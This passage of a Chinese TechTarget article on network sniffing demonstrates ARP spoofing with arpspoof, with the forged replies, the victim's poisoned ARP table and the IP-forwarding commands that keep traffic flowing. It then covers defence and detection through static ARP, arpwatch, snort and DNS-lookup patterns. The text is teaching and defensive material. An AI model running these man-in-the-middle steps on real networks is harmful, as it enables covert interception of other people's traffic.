我们看到a机中保留着网关的ip地址192.168.1.33和对应的mac地址00-90-6d-f2-24-00
我们在B机上执行arpspoof,将目标指向a机,宣称自己为网关,如下:
HOSTB# arpspoof -t 192.168.1.37 192.168.1.33
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
可以看到b机持续向a发送arp回应包,宣称网关192.168.1.33的mac地址是自己!此时,我们在a机上看看arp表的内容,
C:>arp -a
Interface: 192.168.1.37
Internet Address Physical Address Type
192.168.1.33 08-00-20-c8-fe-15 dynamic
哈!a机的arp表已经改变了,网关的mac地址被更新为了 b机的mac地址,这样,当有数据包发送时,a机理所当然的会发到它arp表中网关对应的mac地址08-00-20-c8-fe-15,然而这个地方的b机正在等待着,悄然无声的冒充网关收发着a机的数据包。
有一点要说明的是,为了让a机能正常使用网络,b机还必须打开数据转发,
linux中可以使用sysctl -w net.ipv4.ip_forward = 1
bsd系统可以使用sysctl -w net.inet.ip.forwarding =1
solaris系统可以使用ndd -set /dev/ip ip_forwarding 1
除了这样打开内核的支持外,也可以选用外部的fragrouter等转发软件,如此,就能确保a机正常工作了。
此外,ettercap的作者指出,内核为2.4.x的linux系统在arp实现中,考虑到了arp欺骗,不会接受未经请求的arp回应,因此直接向这种系统发送arp reply也是无效的,不过,有意思的是虽然它不会接受未经请求的arp reply,但是只要接收到arp的request,它就会更新自己的arp缓存,;),如此就好办了,发送一个伪造的arp request即可!不过,作者在自己实验时没有发现这个问题,作者内核为2.4.7的系统接受了直接的arp reply,并更新了自己的arp表。
如果一切配置正常的话,被重定向的a机是不会有什么明显的感觉的,网络照常是通畅的,只是在后台数据都绕了一个小圈子,不是直接到网关,而是先经由b机,再由b机转发到网关,因为数据包都经过了b机,那么在b机上起一个网络监听软件,a机的所有数据必然会被监听到。交换环境下的监听由此实现!
除此之外,dsniff还提供了macof等淹没交换机arp表等进行监听的模式,这里就不介绍了,有兴趣的读者可以自己查阅相关资料。
Arp方式监听的防范
对付采用arp方式的监听也是个比较棘手的问题,有几个不是非常理想的对策。
首先还是上面提到的加密,尽可能的让局域网内的传输的数据都是秘文的,这个可能相对最理想的防范方法,但实施起来可能有一点困难。有一点要注意,ssh1是不安全的,我们提到的dsniff和ettercap都可以对ssh1实施中间人的监听。
另外,还可以考虑指定静态arp,如大多数unix系统支持arp读取指定的ip和mac地址对应文件,首先编辑内容为ip和mac地址对照的文件,然后使用命令:arp -f /path/to/ipandmacmapfile读取文件,这样就指定了静态的arp地址,即使接收到arp reply,也不会更新自己的arp缓存,从而使arpspoof丧失作用。windows系统没有-f这个参数,但有-s参数,用命令行指定ip和mac地址对照关系,如arp -s 192.168.1.33 00-90-6d-f2-24-00,可惜除了xp外,其它的版本的window平台即使这样做,当接收到伪造的arp reply后,依然会更新自己的arp缓存,用新的mac地址替换掉老的mac地址,所以无法对抗arpspoof。而且采用静态arp有一个缺憾,就是如果网络很大的话,工作量会非常的大。
Arp方式监听的检测
首先是借助检测ip地址和mac地址对应的工具,如arpwatch,安装了arpwatch的系统在发生mac地址变化时会在系统的日志文件中看到如下提示
Apr 21 23:05:00 192.168.1.35 arpwatch: flip flop 192.168.1.33 0:90:6d:f2:24:0 (8:0:20:c8:fe:15)
Apr 21 23:05:02 192.168.1.35 arpwatch: flip flop 192.168.1.33 8:0:20:c8:fe:15 (0:90:6d:f2:24:0)
Apr 21 23:05:03 192.168.1.35 arpwatch: flip flop 192.168.1.33 0:90:6d:f2:24:0 (8:0:20:c8:fe:15)
从提示中可以看出arpwatch检测到了网关mac地址发生了改变。
其次借助于一些入侵检测系统,如snort,亦可以起到的一定的检测作用。在snort的配置文件中打开arpspoof的preprocessor开关并进行配置即可。
作者本人试验发现,如果采用本地解析时,观测局域网本地的dns服务器的反解是一个好的办法,因为发起arpspoof的主机会不间断的尝试正反解析冒充的网关ip,发送数量非常多的重复解析数据包,当怀疑有arpspoof时很容易被发现,如下:
nameserver# tcpdump -n -s 0 port 53
tcpdump: listening on hme0
23:19:22.489417 192.168.1.35.41797 > 192.168.1.68.53: 32611+ PTR? 33.224.102.202.in-addr.arpa. (45) (DF)
23:19:22.490467 192.168.1.35.41798 > 192.168.1.68.53: 32611+ PTR? 33.224.102.202.in-addr.arpa. (45) (DF)
结束语
上面我们介绍了网络监听技术的几个主要方面,包括网络监听的主要技术细节,具体实现,检测方法等。此外还介绍了一种非传统的监听方式,通过本文,希望读者能对网络监听产生一些认识。
我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。
我原创,你原创,我们的内容世界才会更加精彩!
【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】
微信公众号
TechTarget
官方微博
TechTarget中国
作者
相关推荐
-
下一个网络挑战:保护SD-WAN
随着软件定义的广域网(SD-WAN)逐渐成为企业主流,这项技术越来越为人所熟知,尽管仍然存在大量令人眼花缭乱的 […]
-
通过数字化转型改造传统网络
云计算网络和安全厂商Zscaler本周在拉斯维加斯举办了其首次用户会议ZenithLive。该会议共吸引约60 […]
-
区块链技术可以用于网络管理吗?没那么快
有IT分析人士称,区块链技术用于网络管理价值不大。他们还分析了物联网安全以及灾难发生时AI会发生的事。 Glo […]
-
Cyphort分析技术助力Juniper Security Director
瞻博网络在去年收购Cyphort公司,近日瞻博网络公司便推出第一款整合其安全产品与Cyphort威胁检测技术的 […]